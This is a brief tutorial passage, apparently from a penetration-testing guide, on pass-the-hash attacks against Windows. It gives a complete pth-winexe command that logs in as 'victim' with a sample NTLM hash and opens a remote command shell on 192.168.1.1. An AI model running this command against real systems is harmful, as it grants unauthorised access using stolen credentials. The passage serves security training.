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# Using Hashes Directly

As discussed in the previous section one of the methods is to use the hashes directly with the application/operating system instead of trying to crack them. 

The following tool can be used to pass the hash directly to Windows to login to the Operating System,

```
pth-winexe -U victim%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e //192.168.1.1 cmd
```